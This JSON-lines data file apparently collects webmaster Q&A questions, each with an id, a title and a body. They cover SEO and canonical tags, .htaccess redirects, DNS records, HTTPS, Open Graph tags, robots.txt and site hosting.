{"id":"22531","title":"How does delicious.com avoid being sued for copyright infringement?","text":"With the recent redesign of delicious.com, they've added a much more graphical home page. The site continues to be a service for people to bookmark and share websites they come across on the web. The delicious home is now made up of images taken from those linked sites. See for yourself at http:\/\/delicious.com I would like to know what in the law allows them to do this, considering the images represent the main content of the page, and they clearly do not own copyright to those images? I know there is some leeway given to search engines where it is considered fair use to use a small portion of the content if the aim is to lead people to the originating site. Does that apply here?"}
{"id":"22530","title":"HTTPS on all pages where user is logged on","text":"I know this is considered best practise to prevent cookie hijacking. I would like to adopt this approach, but ran across a problem on our forum where the users post images which either aren't posted with URL's over HTTPS or the url itself doesn't support HTTPS. This throws up a lot of ugly browser warnings. I see I have two options: * Disable HTTPS for the forum * Force all user posted content to start with `\/\/` in the url so it selects the right protocol, if it doesn't support HTTPS so be it Do I have any other options? How do other sites deal with this?"}
{"id":"22533","title":"How to change my website's appearance in a Facebook wall post?","text":"When posting a website link in a Facebook wall post, Facebook fetches some content (title, text and image) from the website to show it to readers. Is there a way I can adjust \/ propose which content is used \/ preferred by Facebook?  I found someone saying to use `<meta property=\"og:image\" content=\"image.jpg\">`, but this doesn't seem to have any effect. But maybe Facebook caches these results for a while?"}
{"id":"4174","title":"How do I write IDN domains?","text":"How do I write a IDN domain name with IDN codes? E.g. `mjölk.com` with IDN codes? (mjölk is milk in swedish) And is there any list of available IDN codes and letters? E.g. all possible for .com ?"}
{"id":"57143","title":"Using RDFa with an image inside of an H1 tag","text":"I come from a development background but just recently starting learning SEO along with RDFa. I am working on our companies new website where the designer is using our different divisions logos at the top of their respective pages. There currently are not any H1 tags. I know I need to add and H1 but the way the pages were designed the logos are where I would usually put an H1 heading. And if I added an H1 with text it would throw off the design. I also know that using images inside H1 isn't good practice even if I use the alt attribute. So my question is if I put H1 tags around the image, then use RDFa will Google find this acceptable or will this be penalized. Here is my code example: <div class=\"twelve columns\" typeof=\"gr:BusinessEntity\"> <h1 property=\"gr:name\" content=\"Thoughtwire Marketing\"> <img rel=\"foaf:depiction\" src='http:\/\/www.thoughtwiremarketing.com\/images\/TW-marketing-logo.png' class='twmarketing' alt=\"Thoughtwire Marketing\"\/> <\/h1> <\/div> I defined my prefixes in the body tag and when I run my code through the validator at http:\/\/rdfa.info\/play\/ it seems like it would work, just not knowledgeable enough yet with SEO to know for sure."}
{"id":"13883","title":"What HTTP code to use when redirecting to random page","text":"I have an URL `domain.com\/random`, which will redirect to a random page. What would be the correct HTTP code for this? Plus, I'm inserting the link like this: <a href=\"\/random\" rel=\"nofollow\" title=\"Random profile\">Show random profile<\/a> Spiders won't follow that link. Do I need to care about what HTTP code I send?"}
{"id":"60866","title":"301 redirect + RewriteRule not working together?","text":"I am using a 301 redirect to redirect a page to another page in the same website, which uses `RewriteRule` to hide the PHP variables in a friendly URL. My redirection code in .htaccess: Redirect 301 \/example\/word1\/word2\/word3 http:\/\/www.example.com\/word1\/word2 As a result when I visit `\/word1\/word2\/word3` it redirects me to the URL set by a previous RewriteRule which is `\/word1\/word2?var1=word1&var2=word2&var3=word3`. Where var1, var2, and var3 are the PHP variables that have for content word1, word2 and word3. I want the redirection to go just to `www.example.com\/word1\/word2`"}
{"id":"26445","title":"Create friendly looking URL's with mod rewrite","text":"I want to make the pages on my site more search engine friendly by turning the query strings into meaningful looking page names. For example I have a page that is this: \/search.php?c=18 I want it to look like this: \/doctors\/MainCategoryName-18\/ Sometimes there is a second query string so it would need to work with just one or both. For example: \/search.php?c=18&s=217 Should look like \/doctors\/MainCategoryName-18\/SubCatrogyrName-217\/ Here's what I've tried so far but I can't get it to work. RewriteRule ^search.php?c\\=(.*)* \/doctors\/general-$1 [NC,R=301,L] RewriteRule ^doctors\/[^?\/]*-(\\d+)\\ \/search.php?c=$1&s=$2 [QSA Thanks so much for your help,"}
{"id":"26444","title":".pro domain as a web designer\/professional","text":"I am looking at getting a .pro domain for my portfolio page as a web designer. I realize that .pro domains are for licensed professionals such as lawyers, engineers, etc. What kind of certifications would I need to qualify for a .pro domain as a web designer. And also which certs would you recommend such as w3c or cwp?"}
{"id":"32803","title":"Unable to print login-required images in IE","text":"I have some images in a section of a site that require the user to be logged in in order to view. These images are served by a PHP script, which checks the user's login state and if valid, serves the binary data with the appropriate headers. This all works fine. The issue comes when a user tries to print one of these images. In Internet Explorer, when they go to print preview, they get the broken image box with a red cross in the corner instead of the actual file. This is also what gets printed. All other browsers can print the images without issue. I have some images elsewhere on the site that are also served via. PHP but these don't require a login. These print fine. The PHP-powered HTML pages on the site that require a login also print fine in IE. It's just login-required images. When the user hits 'print preview', this does not seem to result in additional HTTP request to the server for the file. However I do see an additional HTTP request a few seconds later that comes from the same IP (may or may not be related), This request includes no host header, no REQUEST_URI and no user agent. The 'please login' page sends an appropriate 403 header. I've also added a far-in-future expires header to the image response itself to ensure that browsers can serve\/print the files from their own cache but this hasn't made any difference. Why can't IE print the images and what else can I do to investigate or fix the problem?"}
{"id":"25629","title":"Why do some large companies use a different domain for sending emails?","text":"I've received notifications and newsletters from Microsoft and Facebook in the past and noticed that both emails came not from an address such as something@facebook.com or something@microsoft.com. Not event something@somethingelse.microsoft.com but both had different domains such as : reply@email.microsoftemail.com and something@facebookmail.com **Why is this? Any particular advantage in doing so?** Other than not polluting the employees email software, I can't see."}
{"id":"24626","title":"How do I search server for all instances of a given database user?","text":"We just migrated one of our machines to a new box. Same web host, but new IP and physical machine. I've found a lot of the databases are using a generic dbuser\/pw combo. With the new server, I want to implement a more secure policy that all dbs need to have their own users, rather than a user that has global db privileges. Is there a way to search all the servers' web docs (Everything below \/var\/www\/vhosts\/) for references to a specific db username in any files? Is this a job for grep? Or is there a better solution?"}
{"id":"24625","title":"Canonical tag on paginated pages?","text":"I noticed that StackOverflow uses a `rel=canonical` tag on page 2+ of answers. For example, see http:\/\/stackoverflow.com\/questions\/6470651\/creating-a-memory- leak-with-java?page=2&tab=votes#tab-top Notice they have a `rel=canonical` tag that points to http:\/\/stackoverflow.com\/questions\/6470651\/creating-a-memory-leak-with-java As I recall, Maile Ohye at SMX Advanced said that you should NOT use a canonical tag in this way. The answers on page 2 are not duplicate content as to what's on page one, and duplicate content is the purpose of the canonical tag. Is this an appopriate use of the `rel=canonical` tag?"}
{"id":"25623","title":"Is there a penalty for opposite of cloaking?","text":"Let's assume I have 100 different web pages with original and good content. But I want to publish on these pages same advert content (text video flash pictures) If I decided to use ajax and jquery for loading that advertorial content after page load, would there be a penalty for that? I know using hidden div's and hidden text can cause penalties but what if it's the opposite?"}
{"id":"25625","title":"Free, basic checkbox images for a todo list","text":"Does anyone have a set of simple, free checkbox images (checked and unchecked)? I've got to throw a todo list on my site and I'm not exactly a designer. Ones that look like they are hand written would be great."}
{"id":"25627","title":"no description when searching keyword in google","text":"I am new with SEO, and i following a tutorial about meta tags... when i search my keyword in Google, I can only see the URL of my website but it has no description.... search in google: surebooked --------------------------------- but return only: surebooked.com\/ There are no description in Google when I search my keyword. Does anyone have an idea about my situation?"}
{"id":"65302","title":"How do you tell search engines not to index this page just yet, but maybe in the future?","text":"The company I work for has a content management system that builds pages automatically for certain content. E.g., There is a page in our system that has the ability to show you information about any composer in our database, depending on the input parameters and what information we have on them. However, every now and then, there is a composer that hasn't got any information, thus the page renders a blank page. How can we tell Google not to index the page at that moment, but maybe sometime in the future? Because the content is auto-generated, we can't just block pages from being visible, as it information about that composer may pop up at any moment. **Edit** Please note that our CMS system that does the fetching is seriously complicated and deep. The content part of the page WILL return some sort of data, so running an `empty($content) ? xx : yy` as has been suggested is not a quick fix. If a composer does not exist, the system won't have a page for that the composer, if the composer does exist, the system will. When that composer's page is rendered, the system searches every type referring to composers, such as works, to create a dynamic page."}
{"id":"24979","title":"javascript\/php sorting plugin","text":"I have a set of thumbnails and I want to sort them by name, by rating and by newest added. I've found Quicksand which I think is pretty good, but I need to know if there are some other scripts\/plugins which does the same job."}
{"id":"7394","title":"KPI's for Webmasters","text":"Do you know any Key Performance Indicators for Webmasters? What should be measured and monitored?"}
{"id":"54805","title":"Send HTML email to multiple recipients","text":"I need to send an HTML email with attachment to multiple recipients. What is the best method to do it and ensure that the emails will not get recognized as spam?"}
{"id":"60069","title":"When to use canonical? Prepaid products of different values","text":"I have a webshop for different kind of prepaid cards. Every kind of prepaid card is also available in a different value. The product page of those different values differ only in a title (NameOfProduct ValueOfProduct), image, and the value in the description. Do I have to use canonical for the different kind of values? Because the product pages doesn't seem to rank as well as the other pages in the search engines."}
{"id":"9273","title":"FAVICON: Favicon not showing up","text":"I'm using a .png favicon file and it is not showing up on my site. Doing a grep, I see the following in home.htm which looks right for me(I have also confirmed it's in the HEAD section within home.htm): home.htm: <link rel=\"shortcut icon\" type=\"image\/png\" href=\"favicon.png\"> The favicon.png file is in the same directory as the home.html file. Any suggestions are welcome! Thanks all. In case the file info is revealing for anyone, I'll attach it here: "}
{"id":"33910","title":"HTML5 <form> autocomplete Attribute","text":"What is the point of the autocomplete attribute? Isn't it bad practice to tell your users how their browser should work to fill a form?"}
{"id":"33275","title":"cPanel Monthly Bandwidth Traffic - HTTP Traffic Extremely High","text":"So I have a website\/blog which I have hosted with a service which is offering me 2000mb of monthly bandwidth traffic. I recently have started getting a lot of traffic, or I suppose, enough to push me quite close to the cap. I am already at 79% for August and it is practically all due to the HTTP traffic component! I noticed that the bandwidth traffic really spikes during the days of a new post. Also, I do have videos from Vimeo embedded in my posts, so I am not sure if loading those on my page counts towards the bandwidth. So what can I possibly do? And is this high usage actually just from people visiting and loading my blog post in their browser? Do you have any suggestions which would significantly reduce the bandwidth usage? I can't afford to raise the bandwidth cap either. For reference, I have an installation of Wordpress running on my website. Thank you."}
{"id":"22752","title":"Are copyright notices really required?","text":"Ever since I made my first web page 13 years ago I have followed the pattern of showing a copyright notice in the footer of each page. Over the years the format of this notice has changed in the following way; * Copyright © `<NAME>` `yyyy`. All rights are reserved. * Copyright © `yyyy` `<NAME>` * © `yyyy` `<NAME>` * © `<NAME>` This has generally mirrored the format used by Google. However, I recently noticed that they no longer display a copyright notice on their home page nor have one in their source code\/meta tags. I see they still display it on most (if not all) other pages. I understand that Google are very keen to keep the word count down on their homepage, which could be the reason for this sacrafice, but my question is more general and relates to all websites. Since I've always just done it out of habit, I'm hoping someone can explain if\/when I a copyright notice is actually required to protect your content and rights. Also, when it is required, is there a format in which the notice must adhere to in order to be valid?"}
{"id":"31822","title":"How to create email request forms and auto-responder?","text":"I'm building a site in css and I'm pretty new to any code or script other than html and css. I'm trying to create a landing page that requires an email from visitors and set up an auto responder to send to that newly submitted email. This would also be a signup for email newsletters. I have some idea how to create the form and have looked into a bit. I don't know how to make it a requirement to get past the landing page and into the actual website or set up the auto-responder. Any help would be much appreciated. Or if someone knows of a source that explains how to do this thing in particular it would be wonderful. I tried lynda.com but everything is so general and I can't seem to find info on exactly how to do this but I know its quite common. Thanks!"}
{"id":"58595","title":"Is there any difference, from Google's point of view, on the method used for a 301 redirect?","text":"I have a website with an extremely good Google rank for it's particular niche. I've rebranded and need to redirect to a new URL. In the eyes of Google, what's the difference, if any, between the following two redirects in the context of preserving my site ranking: Options +FollowSymlinks RewriteEngine on Rewriterule ^$ http:\/\/www.website.com\/ [r=301,nc] and... Redirect 301 \/ http:\/\/www.website.com\/"}
{"id":"43549","title":"Hosting a Site with Windows Azure","text":"This is probably a ridiculously simple question, but is there a way for me to host a normal, static website on Windows Azure? I see on auzre.com that they do offer web hosting, but after trying to figure it out myself, and looking for some sort of tutorial, I can't figure out how to upload my files. I work with FTP and DNs stuff all the time, but Azure's really confusing me. I'm betting it's because it's overpowered for what I'm looking for, but I'd still like to try it out."}
{"id":"2223","title":"What browser is sending user agent beginning mozilla\/5.0+, tramslates & into &","text":"We've got a website which has been running for a few years now. One of our customers has just started having an intermittent problem. Looking at our iis6.0 logs the service works correctly when they have a user agent beginning \"mozilla\/4.0+\" but fails when the user agent begins \"mozilla\/5.0+\". The particular customer only started having this problem on Wednesday. Does anyone know the browser\/upgrade which changes the 4.0 to 5.0? The actual problem caused is that an \"&\" in a url parameter list is being encoded as \"&\". Anyone seen anything similar? We have other users sending from browsers with the 5.0+ user agent without trouble. Sorry about the tags but don't have the rep to create new ones. Thanks in advance, Patrick Edit: hi Viper_sb, It is most probably a custom script (I'm primarily a c++ developer so don't really understand). Our site services requests from other customer developed sites, this one was done in Java script as far as I know. we're actually getting a variety of user agents (presumably depending on which of our customers customers is accessing the service), here's a few: Mozilla\/5.0+(Windows;+U;+Windows+NT+6.1;+fr;+rv:1.9.1.11)+Gecko\/20100701+Firefox\/3.5.11 Mozilla\/5.0+(Windows;+U;+Windows+NT+5.1;+en-US)+AppleWebKit\/533.4+(KHTML,+like+Gecko)+Chrome\/5.0.375.126+Safari\/533.4 302 0 0 Mozilla\/5.0+(Macintosh;+U;+PPC+Mac+OS+X;+fr)+AppleWebKit\/523.12+(KHTML,+like+Gecko)+Version\/3.0.4+Safari\/523.12 Mozilla\/5.0+(Windows;+U;+Windows+NT+5.1;+en-US;+rv:1.9.2.8)+Gecko\/20100722+Firefox\/3.6.8 Mozilla\/5.0+(Windows;+U;+Windows+NT+5.1;+fr;+rv:1.9.2.8)+Gecko\/20100722+Firefox\/3.6.8+(.NET+CLR+3.5.30729)"}
{"id":"5927","title":"Share on: FB, Tweet, Digg, Linkedin, Delicious, My mother, ... it's just on fashion, or of some real value?","text":"Nowadays your site is not in fashion if you don't show at least a couple of share buttons like these:  **Is this just fashion, or do people actually get something good out of it?** When I say _\"something good\"_ **I mostly mean something that you could measure, and not just the feeling that was good**. Maybe I can better explain with an example: **did you notice (in some way) that many people clicked on those links to share your page\/s on those web 2.0 social sites?** And in such a case on which social networks did you see they mostly share your pages? BTW I'm not talking about Google PR, i know all web 2.0 social sites use nofollow everywhere and even hidden links, so they are useless by themselves for PR. * * * **UPDATE:** According to this video, Google's Alter Ego says that they now use in some way data from social sites in ranking. If this is true, it's obvious that the Share on button for FB, Tweet, etc are definitely of some values. But again my question is more about what you noticed **in your real experience** to be a direct benefit of adding those type of \"Share On\" links on your webisite? I.e. did you see more traffic coming in form FB, or some users who bought your products because of FB or Twitter? Or any other benefits? Thanks"}
{"id":"5923","title":"People sign up to my website but they keep entering invalid email addresses (they are not spammers)","text":"I have thousands of users signed up in my site so I have a good amount of statistical data to analyze my problem for you. In the sign up process of my website, the required fields are username, password etc. and there are TWO fields which are asking for email (email and confirmation of email, as usual.) The problem is, that 26% (I just calculated it) of users are entering AND RE- ENTERING (at confirm your email field) wrong email address! I know what you thinking and they are NOT spammers. They are totally legitimate but use the wrong email addresses. Examples of emails... * `MARY@HOTMAIL.COM` (no comment...) * `WWW.GEORGE@WINDOWSLINE.COM` (YES `WWW` and WINDOWSLINE OMG) * `FASDFASDFASDFASFASDF@GOOGLE.COM` (RANDOMNESS) These are just examples so you can have a laugh, the most of the wrong emails are just wrong addresses. I don't know why 26% of users just DON'T KNOW THEIR #e@$@# EMAIL! 1. What percentage of your users are entering (and re-enter in confirm field) their email address? 2. How can a desperate webmaster handle this situation? Of course I can't get in contact with these users, because I don't have their emails! P.S.: Most of my users are of age 30-35+, and they are not English speakers. I can say that internet is about 10 years old (or less) popular in my country. In many cases, I can tell that the wrong email addresses belong to kids who have a better understanding of computers (for example their addresses ends with 1987, 95 etc.)."}
{"id":"50508","title":"400 Bad Request in Movable Type import","text":"I have a Movable Type installation running the latest version of MT (currently Movable Type version 5.2.7 with: Community Pack 1.72, Professional Pack 1.53) and my client has provided us with a data export from another MT installation (we're migrating servers) that he would like imported to the new MT installation. Unfortunately, every time we try to execute the import we receive \"Bad Request Your browser sent a request that this server could not understand. Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.\" This is the ONLY part of the MT install which has this problem. I'm about to rip out the import tool and write my own processing script to do the job, since I'm not going to manually add ~750+ blog posts by hand. Appreciate any advice that people can provide!"}
{"id":"60106","title":"Optimizing and securing robots.txt","text":"I have a couple of doubts \/ questions \/ ideas related to _robots.txt_ : 1. Can we deny website for all bots except for chosen ones in order to tell other bots not to crawl site: User-agent: * Disallow: \/ User-Agent: Googlebot User-Agent: bingbot User-Agent: Slurp Allow: \/person\/ Allow: \/products\/ 2. Can we deny whole site and then just specify list of pages we want to allow for indexing like in example above? I do not want to give away URLs that I want to exclude from crawling, as this information can be used against me. 3. Note that we do not have `Allow: \/`, so will bot be able to access home page? 4. In example above, will `Allow` be applied for all three user agents on the list or `Allow` needs to be pasted under each user agent? User-Agent: Googlebot Allow: \/person\/ Allow: \/products\/ User-Agent: bingbot Allow: \/person\/ Allow: \/products\/ User-Agent: Slurp Allow: \/person\/ Allow: \/products\/"}
{"id":"27471","title":"DNS and Wildcard CNAME","text":"Whenever I attempt to make a record for *.schneiderdonnelly.com.au and CNAME it, I get two errors: * You can't mix CNAME\/MX records together using the same hostname. * Domain root's cannot be CNAME's, however you can web-forward this record to www.schneiderdonnelly.com.au instead for the same effect. I've read it's possible so why can't I make it work? I donated $5 to be a premium member and I've been trying to make it work for yonks. http:\/\/i.stack.imgur.com\/D9Ui5.jpg This is how I want it to appear. The last record. I am prepared to swap DNS providers as long as they're free."}
{"id":"4506","title":"How to stop access of a PHP file from other sites","text":"I read somewhere about hot linking of images. Preventing image hot linking helps to stop bandwidth theft from your site. Would it work for a PHP file? In my case, I am using a PHP file to generate thumbnails from an image. I don't want others to refer this PHP file from their site."}
{"id":"4500","title":"Social media integration solutions","text":"Another question someone posted got me thinking, what are the social media integration solutions that everyone uses? The most common solutions I've come across are the content-sharing buttons: * ShareThis * AddThis * AddToAny How many of you use these or other social media integration solutions? Or do you just create your own sharing buttons? What advantages are there to using these 3rd-party solutions versus creating your own buttons using Facebook\/Del.icio.us\/Digg\/etc.'s code? Another solution I've been coming across more and more, and that I really dislike, are those fixed social media toolbars that many sites put at the bottom of your screen. They stick out like a sore thumb and take up valuable screen real-estate and just look very tacky IMO. How many people use those, and what advantage do you see to using those branded social sharing toolbars? Are there any other solutions out there that you guys would recommend?"}
{"id":"4503","title":"Will \"performing maintenance\" page holder affect your seo and page rankings? If so, is there a better way to handle it?","text":"Let's say that theoretically you run a ecommerce shop. There may be times, once a year, that you need to take the site down to update product information or to do some maintenance. What would happen to your page rankings? I would assume that we would direct any page hit to the maintenance page."}
{"id":"25087","title":"What is the advantage to hosting static resources on a separate domain?","text":"I notice a lot of sites host their resources on a separate domain from the main site, e.g. StackExchange using sstatic.net, Barnes & Noble using imagesbn.com, etc. I understand that there are benefits to putting your static resources on a separate host, possibly with an efficient static-file web server like nginx, freeing up the main server to focus on serving dynamic content. Similarly, outsourcing to a shared CDN like cloudfront Akamai is logical. What is the benefit to using a separate domain otherwise, though? Why sstatic.net instead of static.stackexchange.com? **Update** : Several answers miss the core question. I understand that there is benefit to splitting between multiple hosts — parallel downloads, slimmer web server, etc. But what is more elusive is why multiple _domains_. Why sstatic.net rather than static.stackexchange.com as the host for shared resources? So far, only one answer has addressed that."}
{"id":"60754","title":"Block IP Address using php","text":"For my website i use this php code to block ip addresses. <?php $deny = array(\"111.111.111\", \"222.222.222\", \"333.333.333\"); if (in_array ($_SERVER['REMOTE_ADDR'], $deny)) { header(\"location: http:\/\/www.google.com\/\"); exit(); } ?> How to re-edit this code to block ip addresses like all addresses starting from \"111.\" or \"222.\" like that? Thanks in advance!"}
{"id":"11653","title":"phpBB permissions issue","text":"I'm in the process of installing phpBB, it says I need certain permissions for a few directories (image). I tried changing the permissions via FTP clients but it won't change. FileZilla even gave me this: Command: SITE CHMOD 777 cache Response: 500 'SITE CHMOD 777 cache': command not understood How do I change these permissions? I'm running Windows Server. Any help? "}
{"id":"11650","title":"How do I have a page depth > 1 on a single page website?","text":"One of my sites is a single page that focuses on getting the user to call a phone number. In GA, I've set up a Goal for when visitors spend more than 1 minute on the site. I realized much later that GA doesn't trap exit events, so visitors who arrive at the site and click back won't be counted. I'd like to modify that; but that's for another question. I've got a number of users with an Average Time on Site >0 ; and a page depth > 1. I can't figure out how --- My site contains a single page. The number of users with Page Depth 2+ doesn't equal the number of returning visitors - otherwise I'd assume these are people who left and then typed in the url manually. I'm at a loss. Did they just hit refresh? Did they bookmark the site and return to it? (That shouldn't count as 'time on site' though'...)"}
{"id":"55004","title":"Somehow Google considers a properly 301'd URL as 200 and is still indexing the new content in old page?","text":"We redirected all the old URL's to new ones properly using _.htaccess_. The problem is Google, somehow is still finding content in the old page (which it shouldn't) and stores it in the cache rather than the new URL. For e.g.: * Old page: `http:\/\/www.natures-energies.com\/iching.htm` * New page: `http:\/\/www.natures-energies.com\/index.php?option=com_content&view=article&id=760` If you type the old URL into the browser it redirects. If you fetch the old URL as Googlebot in the Webmaster Tools the header says 301\/permanently redirected. If I try to crawl as any other bot it still says 301 redirected. Even if you click the old link in Google it redirects to the new URL. Only in its cache it shows the old URL and moreover it shows the new content in it! I am stumped on how Google manages to grab the new content and puts in the old URL instead of the new one! One more interesting thing is that if I try a cache for the new page it shows the cache of the new content with old URL! Any help would be appreciated. I am at end of my wits. I think I have tried almost everything. Is there anything that I'm missing to see? You can use this search to find the old URL's. Maybe you'll some patterns that I missed. `site:www.natures-energies.com inurl:htm -inurl:https|index`."}
{"id":"17760","title":"Optimal GZIP compression level for static resources?","text":"Is there a compression level which will provide an optimal balance between file size reduction and client decompression time\/cost? I was wondering which GZIP compression level provided the best balance between file size reduction and decompression time. Compression time doesn't really matter since it will only be compressed once and cached. However, I'm concerned that if I set the compression level too high, any gains from file size reduction will be wiped out by the time and cost required to decompress the file on the client side."}
{"id":"49506","title":"Does an iframe count as a backlink to my domain?","text":"I have the following situation: **Iframe case** web page _www.notMyWebPage.com_ contains an **iframe** that points to my domain (the contents of the iframe are loaded from _www.myWebPage.com_ ) **Link case** web page _www.notMyWebPage.com_ contains a **link** that points to my domain (it points to _www.myWebPage.com_ ) I'd like to know if from the SEO perspective I get the same ranking benefits (i.e., 'juice') **for _www.myWebPage.com_** in the Iframe than in the Link case. Notice that this question refers to the SEO effect on _www.myWebPage.com_ , not on _www.notMyWebPage.com_ , which is the subject of concern of this other question."}
{"id":"38030","title":"What largest websites are written in php?","text":"What are some of the largest and most popular websites in the world written in php? I know 1 - this is `wikipedia`, tell please another large website."}
{"id":"17764","title":"How to remove one of two domains on the same site for SEO?","text":"I have foo.com which is set up as the alias of bar.com For better ranking etc I want search engines to only crawl foo.com How do I \"remove\" bar.com ? Is it the same method as removing www (which I'll also be using) ? if so what's the code ?"}
{"id":"60751","title":"Facebook open graph doesn't work","text":"I have used open graph meta tags in my website <meta name=\"og:description\" content=\"My page descriptions ...\" \/> <meta name=\"og:title\" content=\"سختافزار20\" \/> <meta name=\"og:type\" content=\"website\" \/> <meta name=\"og:url\" content=\"http:\/\/www.hardware20.com\/\" \/> <meta name=\"og:image\" content=\"http:\/\/www.hardware20.com\/apple-touch-icon.png\"\/> <meta name=\"og:site_name\" content=\"hardware20\"\/> <meta name=\"og:locale\" content=\"fa-IR\" \/> But facebooke does not load Image & Descriptions, When I try to share a page. I have tried debugging by open graph debugger https:\/\/developers.facebook.com\/tools\/debug\/ But the debugger always said `Error parsing input URL, no data was scraped.` (even with facebook examples!) Thanks in advance"}
{"id":"52776","title":"Allow other people to upload to my home web server (inc mysql)","text":"Apologies if this is on the wrong place. I've set up a web server at home, it's basic and is currently running using xampp, I plan on replacing it with an old mac g5 soon and mamp or individual components for php etc. I've not done this before so it's all a bit new. I know that I can set up a new dir for a friend and allow them to upload their site to the server so long as it doesn't involve them creating databases. My question is how can I imitate what web hostin companies do? I'd like to be able to give him a user an password and for him to then be able to have the same capabilities as myself although restricted to one folder of course. I've googled quite a lot but haven't come across anything that makes it clear. I understand an option is cpanel but I'd rather find a free alternative. Could someone explain if its doable and if so would it possible to point me in the right direction or state the problems etc that might prevent this from happening. Any and all advice appreciated. Thanks."}
{"id":"52778","title":"How to see all changes to the HTML5 CR?","text":"On 2013-08-06 the W3C published a new HTML5 Candidate Recommendation. How can I see what was added\/removed\/changed since the previous Candidate Recommendation from 2012-12-17? * In _Differences from HTML4_ there are HTML Changelogs, but the last changelog is for \"Changes from 14 September 2012 to 6 May 2013\". * On http:\/\/html5.org\/tools\/web-apps-tracker (resp. the mailing list) I can see all commits to the WHATWG version. However, it would be too complex to retrace all these commits from eight months, and there are also many things different in the W3C version. * I tried to make a diff with the single page documents, but it gets really muddled (many things moved etc.) Of course this question is not limited to the two mentioned CRs, it applies also to future publications of HTML5."}
{"id":"62934","title":"I need to change the domain name but keep the analytics","text":"I need to change a site domain name from mydomain.com to mydomain.org. Can I keep the existing Google Analytics code and everything will seamlessly flow from the new domain?"}
{"id":"62930","title":"Google Wallet use case","text":"I sell small game servers on a website and used to be able to have customers pay through Google Checkout. Since that has been replaced with Google Wallet, I've been trying to set it up. However, I think I have to \"apply\" to use the buttons now and the requirements are: -Have the ability to process their own payments with a qualified payment processor -Maintain PCI compliance -Sell physical goods online or through their Android native application, and do not sell any digital goods through their Android native application Since I don't meet any of these requirements, is it true that I cannot use any Google service as a payment method? Am I doing this wrong? For reference, I'm getting them from this site: https:\/\/developers.google.com\/wallet\/instant-buy\/ then click \"sign up\""}
{"id":"52663","title":"htaccess redirect pages that don't exist","text":"I have a website that has a little over 100 members. Each member gets a replicated website, and by default the software we use sets up their replicated website at a url like: `domain.com\/?username` \"username\" being the username they registered with. What I'm wanting to do is allow the users to access their replicated website without having to type the question mark before their username. For example, I would want `domain.com\/username` to redirect to `domain.com\/?username`. I tried adding the following to my htaccess file: `Redirect 302 \/username domain.com\/?username` This doesn't work, it just gives a 404 not found page when trying to access `domain.com\/username` because it doesn't actually exist. Basically, I just want my users to be able to access their websites without having to type the question mark. I hope I've made what I'm trying to accomplish clear. Is this possible? Any help is greatly appreciated. Thanks."}
{"id":"60682","title":"123-reg missed domain registration","text":"A few weeks ago I renewed a domain that was coming up to expiration for 10 years with 123-reg for £114.00, it was paid for, we received the invoice stating it was paid - and the control panel expiration date has been updated to 2023. Yesterday upon receiving an email warning that the domain was due to expire, I thought I better contact them and check that the email was sent in error. It turned out they had 'missed the domain for registration', it expires day after tomorrow and they say they don't know if it can be resolved in time. This is quit unusual and obviously ridiculous service from them, and although if it does expire we'll probable be able to get it back, all our company emails use the domain so there will certainly be disruption to our business - plus the time I've spent trying to get this sorted already. Could someone let me know what the best course of action we should take here, is it likely they'll renew it in time and what sort of compensation if any we should ask for? **EDIT** For anyone interested, there's some confusion on their end - they have agreed they won't allow it to go down whilst they look into it. Would have been nice to provide that peace of mind originally, but hey ho."}
{"id":"55458","title":"Using CNAME to point domain to Heroku Server","text":"We purchased and installed an SSL Certificate on our Heroku app, and install the SSL endpoint. The domain is using nameservers that point to a separate cPanel hosting account. I have tried to add a CNAME record in cPanel that points to our Heroku secure endpoint: example-7245.herokussl.com I setup the CNAME like this: Name: *.domain.com. Type: CNAME Record: example-7245.herokussl.com But is has been a whole day and the url still doesn't to heroku. Is this even possible to do this way? We need the email to run off the cpanel host so if we could just use a cname record for the domain server it was perfect. Thanks for any help."}
{"id":"52667","title":"If I remove my A record, will it mess up MX records on that domain?","text":"I am using DNSimple and S3\/Cloudfront. Following their recommended configuration looks like this: myapex.com ------ REDIRECT --> www.myapex.com www.myapex.com -- CNAME -----> lkj32lkj323323.cloudfront.net This is all bacon gravy. I'm about to make the change though, and I got nervous because I have a lot of existing MX records. They all point to Google services though, as we use Google for our email. Am I likely to break email or other services by removing an old `A` record? Do `MX` records do something special with the zone apex or `A` record?"}
{"id":"42764","title":"Can I dynamically set the SSLInsecureRenegotiation Directive?","text":"We're running Apache 2.2.22 with OpenSSL 0.98, one of our Citrix NetScaler Hosts cannot send a client certificate after handshaking SSL as we have to set SSLInsecureRenegotiation off as a security standard. Is there anyway to dynamically set this directive based on Remote_Addr? I have tried so many settings but as designed I guess, there doesn't seem to be a way of selectively allowing SSLInsecureRenegotiation for one user agent or IP? We've already patched to latest NetScaler 10, but after the SSL initial handshake a renegotiation request is sent back from Apache to the NetScaler because as a client cert is required for a LocationMatch, this is never responded to leading Apache to terminate session. - http:\/\/tools.ietf.org\/html\/rfc5746#section-3.5 . We're told by Citrix that downstream rules are normally on a \"trusted\" network, and not supported using the client method, is it possible to differentiate between requests and how the SSLInsecureRenegotiation directive is called by host identity of some sort or IP? Many thanks."}
{"id":"16137","title":"DNS MX and NS entries","text":"I was wondering about my domain and if next is afordable. First of all this is my \"architecture\": * Domain registration at GoDaddy.com * Hosting at Dreamhost * mail at google apps Until now I setted up the google apps MX entries in my domain through the GoDaddy manager, but now what I want is to set up the hosting I have hired from Dreamhost. I understand that all I have to do is to setup next Dreamhost NS entries into the GoDaddy domain manager: NS1.Dreamhost.COM. 66.33.206.206 NS2.Dreamhost.COM. 208.96.10.221 NS3.Dreamhost.COM. 66.33.216.216 My question is, will my mail keep working right as soon as the MX entries I already setup into the GoDaddy are the Google Apps ones?"}
{"id":"46999","title":"Website design using responsive approach or mobile site","text":"I have been looking for mobile desktop website solution & I am confused with the information available on internet. In some case article talk about Responsive approach with the future but i am sure it has its own limitation. Google recommends it which I am not sure is it for their own inconvenience. On the other side jQuery Mobile is great to work with, both approach's might have there own pro - cons. I would like to have expert opinion on this: 1. What is better responsive website or separate mobile website? 2. Which is better from SEO point?"}
